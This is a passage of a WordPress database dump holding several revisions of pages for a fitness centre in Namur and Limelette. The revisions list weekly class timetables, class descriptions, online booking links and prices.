(432, 1, '2014-02-09 20:39:58', '2014-02-09 20:39:58', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-02-09 20:39:58', '2014-02-09 20:39:58', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(431, 1, '2014-02-09 20:38:59', '2014-02-09 20:38:59', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-02-09 20:38:59', '2014-02-09 20:38:59', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(433, 1, '2014-02-09 20:41:07', '2014-02-09 20:41:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a 